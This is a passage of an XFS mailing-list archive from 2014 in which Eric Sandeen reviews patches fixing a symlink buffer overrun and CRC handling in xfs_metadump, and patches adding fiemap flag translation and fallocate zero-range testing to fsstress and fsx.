00000000 00000000 00000000 > 020: 53101af9 1678d2a8 53101af9 15fec0a8 53101af9 15fec0a8 00000000 00000150 > 040: 00000000 00000000 00000000 00000000 00000002 00000000 00000000 d868b52d > 060: ffffffff 0ce5477a 00000000 00000002 00000002 0000041c 00000000 00000000 > 080: 00000000 00000000 00000000 00000000 53101af9 15fec0a8 00000000 00042679 > 0a0: 6c4e9d4e 84944986 a074cffd 0ea042a8 78787878 78787878 78782f78 78787878 > 0c0: 78787878 2f787878 78787878 78782f78 78787878 78787878 2f787878 78787878 > 0e0: 78782f78 78787878 78787878 2f787878 78787878 78782f78 78787878 78787878 > 100: 2f787878 78787878 78782f78 78787878 78787878 2f787878 78787878 78782f78 > 120: 78787878 78787878 2f787878 78787878 78782f78 78787878 78787878 2f787878 > 140: 78787878 78782f78 78787878 78787878 2f787878 78787878 78782f78 78787878 > 160: 78787878 2f787878 78787878 78782f78 78787878 78787878 2f787878 78787878 > 180: 78782f78 78787878 78787878 2f787878 78787878 78782f78 78787878 78787878 > 1a0: 2f787878 78787878 78782f78 78787878 78787878 2f787878 78787878 78782f78 > 1c0: 78787878 78787878 2f787878 78787878 78782f78 78787878 78787878 2f787878 > 1e0: 78787878 78782f78 78787878 78787878 2f787878 78787878 78782f78 78787878 > > the symlink data butts right up agains the magic number of the next > inode in the chunk. And then, when obfuscation gets to the final > pathname component, it gets it's length via: > > /* last (or single) component */ > namelen = strlen((char *)comp); > hash = libxfs_da_hashname(comp, namelen); > obfuscate_name(hash, namelen, comp); > > strlen(), which looks for a null terminator and finds it several > bytes into the next inode. It then proceeds to obfuscate that > length, including the inode magic number of the next inode.... My fault! > Fix this by ensuring we can't overrun the symlink buffer length > by assuming that the symlink is not null terminated. > > Signed-off-by: Dave Chinner > --- > db/metadump.c | 17 +++++++++++++---- > 1 file changed, 13 insertions(+), 4 deletions(-) > > diff --git a/db/metadump.c b/db/metadump.c > index 3248009..cd489a6 100644 > --- a/db/metadump.c > +++ b/db/metadump.c > @@ -1015,16 +1015,23 @@ obfuscate_sf_dir( > } > } > > +/* > + * The pathname may not be null terminated. It name be terminated by the end of can you fix up the start of that 2nd sentence? Otherwise, Reviewed-by: Eric Sandeen > + * a buffer or inode literal area, and the start of the next region may contain > + * any data at all. Hence when we get to the last component of the symlink, we > + * cannot assume that strlen() will give us the right result. Hence we need to > + * track the remaining pathname length and use that instead. > + */ > static void > obfuscate_path_components( > char *buf, > __uint64_t len) > { > - uchar_t *comp; > + uchar_t *comp = (uchar_t *)buf; > + uchar_t *end = comp + len; > xfs_dahash_t hash; > > - comp = (uchar_t *)buf; > - while (comp < (uchar_t *)buf + len) { > + while (comp < end) { > char *slash; > int namelen; > > @@ -1032,7 +1039,7 @@ obfuscate_path_components( > slash = strchr((char *)comp, '/'); > if (!slash) { > /* last (or single) component */ > - namelen = strlen((char *)comp); > + namelen = strnlen((char *)comp, len); > hash = libxfs_da_hashname(comp, namelen); > obfuscate_name(hash, namelen, comp); > break; > @@ -1041,11 +1048,13 @@ obfuscate_path_components( > /* handle leading or consecutive slashes */ > if (!namelen) { > comp++; > + len--; > continue; > } > hash = libxfs_da_hashname(comp, namelen); > obfuscate_name(hash, namelen, comp); > comp += namelen + 1; > + len -= namelen + 1; > } > } > > From sandeen@sandeen.net Fri Feb 28 11:52:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 604E27F3F for ; Fri, 28 Feb 2014 11:52:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 49048304043 for ; Fri, 28 Feb 2014 09:52:23 -0800 (PST) X-ASG-Debug-ID: 1393609941-04cbb066e4118f70001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id EBms2JAKlhRoElmU for ; Fri, 28 Feb 2014 09:52:21 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7FEBB63C59A4; Fri, 28 Feb 2014 11:52:21 -0600 (CST) Message-ID: <5310CCD4.4090706@sandeen.net> Date: Fri, 28 Feb 2014 11:52:20 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 1/3] metadump: contiguous metadata object need to be split References: <1393568723-982-1-git-send-email-david@fromorbit.com> <1393568723-982-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 1/3] metadump: contiguous metadata object need to be split In-Reply-To: <1393568723-982-2-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393609941 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145609 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/28/14, 12:25 AM, Dave Chinner wrote: > From: Dave Chinner > > On crc enabled filesystems with obfuscation enabled we need to be > able to recalculate the CRCs on individual buffers. > process_single_fsb_objects() reads a contiguous range of single > block objects as a singel buffer, and hence we cannot correctly > recalculate the CRCs on them. > > Split the loop up into individual buffer reads, processing and > writes rather than a single read, multiple block processing and a > single write. > > Signed-off-by: Dave Chinner Looks good to me. Reviewed-by: Eric Sandeen > --- > db/metadump.c | 46 ++++++++++++++++++++++++---------------------- > 1 file changed, 24 insertions(+), 22 deletions(-) > > diff --git a/db/metadump.c b/db/metadump.c > index 5baf83d..14902a7 100644 > --- a/db/metadump.c > +++ b/db/metadump.c > @@ -1331,29 +1331,27 @@ process_single_fsb_objects( > int ret = 0; > int i; > > - push_cur(); > - set_cur(&typtab[btype], XFS_FSB_TO_DADDR(mp, s), c * blkbb, > - DB_RING_IGN, NULL); > + for (i = 0; i < c; i++) { > + push_cur(); > + set_cur(&typtab[btype], XFS_FSB_TO_DADDR(mp, s), blkbb, > + DB_RING_IGN, NULL); > > - if (!iocur_top->data) { > - xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, s); > - xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, s); > + if (!iocur_top->data) { > + xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, s); > + xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, s); > > - print_warning("cannot read %s block %u/%u (%llu)", > - typtab[btype].name, agno, agbno, s); > - if (stop_on_read_error) > - ret = -EIO; > - goto out_pop; > + print_warning("cannot read %s block %u/%u (%llu)", > + typtab[btype].name, agno, agbno, s); > + if (stop_on_read_error) > + ret = -EIO; > + goto out_pop; > > - } > + } > > - if (dont_obfuscate) { > - ret = write_buf(iocur_top); > - goto out_pop; > - } > + if (dont_obfuscate) > + goto write; > > - dp = iocur_top->data; > - for (i = 0; i < c; i++) { > + dp = iocur_top->data; > switch (btype) { > case TYP_DIR2: > if (o >= mp->m_dirleafblk) > @@ -1371,13 +1369,17 @@ process_single_fsb_objects( > default: > break; > } > + > +write: > + ret = write_buf(iocur_top); > +out_pop: > + pop_cur(); > + if (ret) > + break; > o++; > - dp += mp->m_sb.sb_blocksize; > + s++; > } > - ret = write_buf(iocur_top); > > -out_pop: > - pop_cur(); > return ret; > } > > -- 1.9.0 _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs > From sandeen@sandeen.net Fri Feb 28 11:55:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9A3B47F3F for ; Fri, 28 Feb 2014 11:55:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7D8F88F8039 for ; Fri, 28 Feb 2014 09:55:12 -0800 (PST) X-ASG-Debug-ID: 1393610111-04cbb066e6119380001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id s9dNAlQF03CDYuC6 for ; Fri, 28 Feb 2014 09:55:12 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C5FDB63C59A4; Fri, 28 Feb 2014 11:55:11 -0600 (CST) Message-ID: <5310CD7F.7090902@sandeen.net> Date: Fri, 28 Feb 2014 11:55:11 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Lukas Czerner , linux-ext4@vger.kernel.org CC: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/8] fsstress: translate flags in fiemap_f References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> <1393603865-26198-6-git-send-email-lczerner@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 6/8] fsstress: translate flags in fiemap_f In-Reply-To: <1393603865-26198-6-git-send-email-lczerner@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393610111 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145609 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/28/14, 10:11 AM, Lukas Czerner wrote: > Translate flags in fiemap_f output to human readable strings. This looks fine, w/ the caveats about translate_flags that I mentioned on the earlier patch. Reviewed-by: Eric Sandeen > Signed-off-by: Lukas Czerner > --- > ltp/fsstress.c | 17 +++++++++++++++-- > 1 file changed, 15 insertions(+), 2 deletions(-) > > diff --git a/ltp/fsstress.c b/ltp/fsstress.c > index 24864db..869a8ac 100644 > --- a/ltp/fsstress.c > +++ b/ltp/fsstress.c > @@ -2252,6 +2252,18 @@ fdatasync_f(int opno, long r) > free_pathname(&f); > close(fd); > } > + > +#ifdef HAVE_LINUX_FIEMAP_H > +struct print_flags fiemap_flags[] = { > + { FIEMAP_FLAG_SYNC, "SYNC"}, > + { FIEMAP_FLAG_XATTR, "XATTR"}, > + { -1, NULL} > +}; > + > +#define translate_fiemap_flags(mode) \ > + ({translate_flags(mode, "|", fiemap_flags);}) > +#endif > + > void > fiemap_f(int opno, long r) > { > @@ -2314,9 +2326,10 @@ fiemap_f(int opno, long r) > > e = ioctl(fd, FS_IOC_FIEMAP, (unsigned long)fiemap); > if (v) > - printf("%d/%d: ioctl(FIEMAP) %s%s %lld %lld %x %d\n", > + printf("%d/%d: ioctl(FIEMAP) %s%s %lld %lld (%s) %d\n", > procid, opno, f.path, st, (long long)fiemap->fm_start, > - (long long) fiemap->fm_length, fiemap->fm_flags, e); > + (long long) fiemap->fm_length, > + translate_fiemap_flags(fiemap->fm_flags), e); > free(fiemap); > free_pathname(&f); > close(fd); > From sandeen@sandeen.net Fri Feb 28 11:58:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9F5F07F3F for ; Fri, 28 Feb 2014 11:58:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 865D08F8039 for ; Fri, 28 Feb 2014 09:58:34 -0800 (PST) X-ASG-Debug-ID: 1393610312-04cb6c56751166b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id oD97hLhie6GG40Yr for ; Fri, 28 Feb 2014 09:58:33 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C858960BA71E; Fri, 28 Feb 2014 11:58:32 -0600 (CST) Message-ID: <5310CE48.8060009@sandeen.net> Date: Fri, 28 Feb 2014 11:58:32 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 2/3] metadump: Only verify obfuscated metadata being dumped References: <1393568723-982-1-git-send-email-david@fromorbit.com> <1393568723-982-3-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 2/3] metadump: Only verify obfuscated metadata being dumped In-Reply-To: <1393568723-982-3-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393610312 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145609 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/28/14, 12:25 AM, Dave Chinner wrote: > From: Dave Chinner > > The discontiguous buffer support series added a verifier check on > the metadata buffers before they go written to the metadump image. > If this failed, it returned an error, and the result would be that > we stopped processing the metadata and exited, truncating the dump. > > xfs_metadump is supposed to dump the metadata in the filesystem for > forensic analysis purposes, which means we actually want it to > retain any corruptions it finds in the filesystem. Hence running the > verifier - even to recalculate CRCs - when the metadata is > unmodified is the wrong thing to be doing. And stopping the dump > when we come across an error is even worse. > > We still need to do CRC recalculation when obfuscating names and > attributes. Hence we need to make running the verifier conditional > on the buffer or inode: > a) being uncorrupted when read, and > b) modified by the obfuscation code. > > If either of these conditions is not true, then we don't run the > verifier or recalculate the CRCs. Lord how I hate "if (!dont_obfuscate)" but that's not your fault. ;) Reviewed-by: Eric Sandeen > Signed-off-by: Dave Chinner > --- > db/io.h | 1 + > db/metadump.c | 61 ++++++++++++++++++++++++++++++++++++++++++++++------------- > 2 files changed, 49 insertions(+), 13 deletions(-) > > diff --git a/db/io.h b/db/io.h > index 4f24c83..d8cf383 100644 > --- a/db/io.h > +++ b/db/io.h > @@ -41,6 +41,7 @@ typedef struct iocur { > int ino_crc_ok:1; > int ino_buf:1; > int dquot_buf:1; > + int need_crc:1; > } iocur_t; > > #define DB_RING_ADD 1 /* add to ring on set_cur */ > diff --git a/db/metadump.c b/db/metadump.c > index 14902a7..3248009 100644 > --- a/db/metadump.c > +++ b/db/metadump.c > @@ -190,26 +190,36 @@ write_buf_segment( > return 0; > } > > +/* > + * we want to preserve the state of the metadata in the dump - whether it is > + * intact or corrupt, so even if the buffer has a verifier attached to it we > + * don't want to run it prior to writing the buffer to the metadump image. > + * > + * The only reason for running the verifier is to recalculate the CRCs on a > + * buffer that has been obfuscated. i.e. a buffer than metadump modified itself. > + * In this case, we only run the verifier if the buffer was not corrupt to begin > + * with so that we don't accidentally correct buffers with CRC or errors in them > + * when we are obfuscating them. > + */ > static int > write_buf( > iocur_t *buf) > { > + struct xfs_buf *bp = buf->bp; > int i; > int ret; > > /* > * Run the write verifier to recalculate the buffer CRCs and check > - * we are writing something valid to disk > + * metadump didn't introduce a new corruption. Warn if the verifier > + * failed, but still continue to dump it into the output file. > */ > - if (buf->bp && buf->bp->b_ops) { > - buf->bp->b_error = 0; > - buf->bp->b_ops->verify_write(buf->bp); > - if (buf->bp->b_error) { > - fprintf(stderr, > - _("%s: write verifer failed on bno 0x%llx/0x%x\n"), > - __func__, (long long)buf->bp->b_bn, > - buf->bp->b_bcount); > - return -buf->bp->b_error; > + if (buf->need_crc && bp && bp->b_ops && !bp->b_error) { > + bp->b_ops->verify_write(bp); > + if (bp->b_error) { > + print_warning( > + "obfuscation corrupted block at bno 0x%llx/0x%x", > + (long long)bp->b_bn, bp->b_bcount); > } > } > > @@ -1359,12 +1369,15 @@ process_single_fsb_objects( > > obfuscate_dir_data_block(dp, o, > last == mp->m_dirblkfsbs); > + iocur_top->need_crc = 1; > break; > case TYP_SYMLINK: > obfuscate_symlink_block(dp); > + iocur_top->need_crc = 1; > break; > case TYP_ATTR: > obfuscate_attr_block(dp, o); > + iocur_top->need_crc = 1; > break; > default: > break; > @@ -1444,6 +1457,7 @@ process_multi_fsb_objects( > > obfuscate_dir_data_block(iocur_top->data, o, > last == mp->m_dirblkfsbs); > + iocur_top->need_crc = 1; > ret = write_buf(iocur_top); > out_pop: > pop_cur(); > @@ -1724,6 +1738,13 @@ process_inode_data( > return 1; > } > > +/* > + * when we process the inode, we may change the data in the data and/or > + * attribute fork if they are in short form and we are obfuscating names. > + * In this case we need to recalculate the CRC of the inode, but we should > + * only do that if the CRC in the inode is good to begin with. If the crc > + * is not ok, we just leave it alone. > + */ > static int > process_inode( > xfs_agnumber_t agno, > @@ -1731,17 +1752,30 @@ process_inode( > xfs_dinode_t *dip) > { > int success; > + bool crc_was_ok = false; /* no recalc by default */ > + bool need_new_crc = false; > > success = 1; > cur_ino = XFS_AGINO_TO_INO(mp, agno, agino); > > + /* we only care about crc recalculation if we are obfuscating names. */ > + if (!dont_obfuscate) { > + crc_was_ok = xfs_verify_cksum((char *)dip, > + mp->m_sb.sb_inodesize, > + offsetof(struct xfs_dinode, di_crc)); > + } > + > /* copy appropriate data fork metadata */ > switch (be16_to_cpu(dip->di_mode) & S_IFMT) { > case S_IFDIR: > success = process_inode_data(dip, TYP_DIR2); > + if (dip->di_format == XFS_DINODE_FMT_LOCAL) > + need_new_crc = 1; > break; > case S_IFLNK: > success = process_inode_data(dip, TYP_SYMLINK); > + if (dip->di_format == XFS_DINODE_FMT_LOCAL) > + need_new_crc = 1; > break; > case S_IFREG: > success = process_inode_data(dip, TYP_DATA); > @@ -1756,6 +1790,7 @@ process_inode( > attr_data.remote_val_count = 0; > switch (dip->di_aformat) { > case XFS_DINODE_FMT_LOCAL: > + need_new_crc = 1; > if (!dont_obfuscate) > obfuscate_sf_attr(dip); > break; > @@ -1770,6 +1805,9 @@ process_inode( > } > nametable_clear(); > } > + > + if (crc_was_ok && need_new_crc) > + xfs_dinode_calc_crc(mp, dip); > return success; > } > > @@ -1840,9 +1878,6 @@ copy_inode_chunk( > > if (!process_inode(agno, agino + i, dip)) > goto pop_out; > - > - /* calculate the new CRC for the inode */ > - xfs_dinode_calc_crc(mp, dip); > } > skip_processing: > if (write_buf(iocur_top)) > From sandeen@redhat.com Fri Feb 28 12:11:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AD0F27F3F for ; Fri, 28 Feb 2014 12:11:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9A1EA304032 for ; Fri, 28 Feb 2014 10:11:54 -0800 (PST) X-ASG-Debug-ID: 1393611110-04cb6c56751178d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id heV6yH1fJK8V3IhB for ; Fri, 28 Feb 2014 10:11:50 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SIBnNF027991 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 13:11:49 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1SIBlmW009537 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 28 Feb 2014 13:11:48 -0500 Message-ID: <5310D163.2010203@redhat.com> Date: Fri, 28 Feb 2014 12:11:47 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Lukas Czerner , linux-ext4@vger.kernel.org CC: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [PATCH 7/8] xfstests: Add fallocate zero range operation to fsx References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> <1393603865-26198-7-git-send-email-lczerner@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 7/8] xfstests: Add fallocate zero range operation to fsx In-Reply-To: <1393603865-26198-7-git-send-email-lczerner@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393611110 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/28/14, 10:11 AM, Lukas Czerner wrote: > This commit adds fallocate FALLOC_FL_ZERO_RANGE support for fsx. and reworks/consolidates testing of which fallocate ops are available. Couple things below > Signed-off-by: Lukas Czerner > --- > ltp/fsx.c | 128 +++++++++++++++++++++++++++++++++++++++++++++++--------------- > 1 file changed, 98 insertions(+), 30 deletions(-) > > diff --git a/ltp/fsx.c b/ltp/fsx.c > index c36a038..5d6d198 100644 > --- a/ltp/fsx.c > +++ b/ltp/fsx.c > @@ -69,6 +69,7 @@ int logcount = 0; /* total ops */ > * TRUNCATE: - 4 > * FALLOCATE: - 5 > * PUNCH HOLE: - 6 > + * ZERO RANGE: - 7 > * > * When mapped read/writes are disabled, they are simply converted to normal > * reads and writes. When fallocate/fpunch calls are disabled, they are > @@ -92,7 +93,8 @@ int logcount = 0; /* total ops */ > #define OP_TRUNCATE 4 > #define OP_FALLOCATE 5 > #define OP_PUNCH_HOLE 6 > -#define OP_MAX_FULL 7 > +#define OP_ZERO_RANGE 7 > +#define OP_MAX_FULL 8 > > /* operation modifiers */ > #define OP_CLOSEOPEN 100 > @@ -139,6 +141,7 @@ int seed = 1; /* -S flag */ > int mapped_writes = 1; /* -W flag disables */ > int fallocate_calls = 1; /* -F flag disables */ > int punch_hole_calls = 1; /* -H flag disables */ > +int zero_range_calls = 1; /* -z flag disables */ > int mapped_reads = 1; /* -R flag disables it */ > int fsxgoodfd = 0; > int o_direct; /* -Z */ > @@ -317,6 +320,14 @@ logdump(void) > lp->args[0] + lp->args[1]) > prt("\t******PPPP"); > break; > + case OP_ZERO_RANGE: > + prt("ZERO 0x%x thru 0x%x\t(0x%x bytes)", > + lp->args[0], lp->args[0] + lp->args[1] - 1, > + lp->args[1]); > + if (badoff >= lp->args[0] && badoff < > + lp->args[0] + lp->args[1]) > + prt("\t******ZZZZ"); > + break; > case OP_SKIPPED: > prt("SKIPPED (no operation)"); > break; > @@ -879,6 +890,65 @@ do_punch_hole(unsigned offset, unsigned length) > } > #endif > > +#ifdef FALLOC_FL_ZERO_RANGE > +void > +do_zero_range(unsigned offset, unsigned length) > +{ > + unsigned end_offset; > + int mode = FALLOC_FL_ZERO_RANGE; > + int keep_size; > + > + if (length == 0) { > + if (!quiet && testcalls > simulatedopcount) > + prt("skipping zero length zero range\n"); > + log4(OP_SKIPPED, OP_ZERO_RANGE, offset, length); > + return; > + } > + > + keep_size = random() % 2; > + > + end_offset = keep_size ? 0 : offset + length; > + > + if (end_offset > biggest) { > + biggest = end_offset; > + if (!quiet && testcalls > simulatedopcount) > + prt("zero_range to largest ever: 0x%x\n", end_offset); > + } > + > + /* > + * last arg matches fallocate string array index in logdump: > + * 0: allocate past EOF > + * 1: extending prealloc > + * 2: interior prealloc > + */ > + log4(OP_ZERO_RANGE, offset, length, (end_offset > file_size) ? (keep_size ? 0 : 1) : 2); > + > + if (testcalls <= simulatedopcount) > + return; > + > + if ((progressinterval && testcalls % progressinterval == 0) || > + (debug && (monitorstart == -1 || monitorend == -1 || > + end_offset <= monitorend))) { > + prt("%lu zero\tfrom 0x%x to 0x%x, (0x%x bytes)\n", testcalls, > + offset, offset+length, length); > + } > + if (fallocate(fd, mode, (loff_t)offset, (loff_t)length) == -1) { > + prt("%pzero range: %x to %x\n", offset, length); > + prterr("do_zero_range: fallocate"); > + report_failure(161); This "161" isn't unique; do_punch_hole and do_preallocate both use the same number. Is that ok? I guess there are other dups too, different bug (which probably nobody cares much about) ;) > + } > + > + memset(good_buf + offset, '\0', length); > +} > + > +#else > +void > +do_zero_range(unsigned offset, unsigned length) > +{ > + return; > +} > +#endif > + > #ifdef HAVE_LINUX_FALLOC_H > /* fallocate is basically a no-op unless extending, then a lot like a truncate */ > void > @@ -1047,6 +1117,12 @@ test(void) > goto out; > } > break; > + case OP_ZERO_RANGE: > + if (!zero_range_calls) { > + log4(OP_SKIPPED, OP_ZERO_RANGE, offset, size); > + goto out; > + } > + break; > } > > switch (op) { > @@ -1085,6 +1161,10 @@ test(void) > TRIM_OFF_LEN(offset, size, file_size); > do_punch_hole(offset, size); > break; > + case OP_ZERO_RANGE: > + TRIM_OFF_LEN(offset, size, file_size); > + do_zero_range(offset, size); > + break; > default: > prterr("test: unknown operation"); > report_failure(42); > @@ -1140,7 +1220,10 @@ usage(void) > " -F: Do not use fallocate (preallocation) calls\n" > #endif > #ifdef FALLOC_FL_PUNCH_HOLE > -" -H: Do not use punch hole calls\n" > +" -H: Do not use punch hole calls\n" > +#endif > +#ifdef FALLOC_FL_ZERO_RANGE > +" -E: Do not use zero range calls\n" > #endif > " -L: fsxLite - no file creations & no file size changes\n\ > -N numops: total # operations to do (default infinity)\n\ > @@ -1290,40 +1373,21 @@ int aio_rw(int rw, int fd, char *buf, unsigned len, unsigned offset) > > #endif > > -void > -test_fallocate() > +int > +test_fallocate(int mode) > { > #ifdef HAVE_LINUX_FALLOC_H > + int ret = 0; > if (!lite && fallocate_calls) { > - if (fallocate(fd, 0, 0, 1) && errno == EOPNOTSUPP) { > + if (fallocate(fd, mode, 0, 1) && errno == EOPNOTSUPP) { > if(!quiet) > warn("main: filesystem does not support fallocate, disabling\n"); we've lost which mode isn't supported, now. Maybe you should print the flags which didn't pass? Too bad your fancy flag stuff is in fsstress.c. ;) or do ("does not support fallocate mode 0x%x", mode) ? > - fallocate_calls = 0; > } else { > + ret = 1; > ftruncate(fd, 0); > } > } > -#else /* ! HAVE_LINUX_FALLOC_H */ > - fallocate_calls = 0; > -#endif > - > -} > - > -void > -test_punch_hole() > -{ > -#ifdef FALLOC_FL_PUNCH_HOLE > - if (!lite && punch_hole_calls) { > - if (fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, > - 0, 1) && errno == EOPNOTSUPP) { > - if(!quiet) > - warn("main: filesystem does not support fallocate punch hole, disabling"); > - punch_hole_calls = 0; > - } else > - ftruncate(fd, 0); > - } > -#else /* ! PUNCH HOLE */ > - 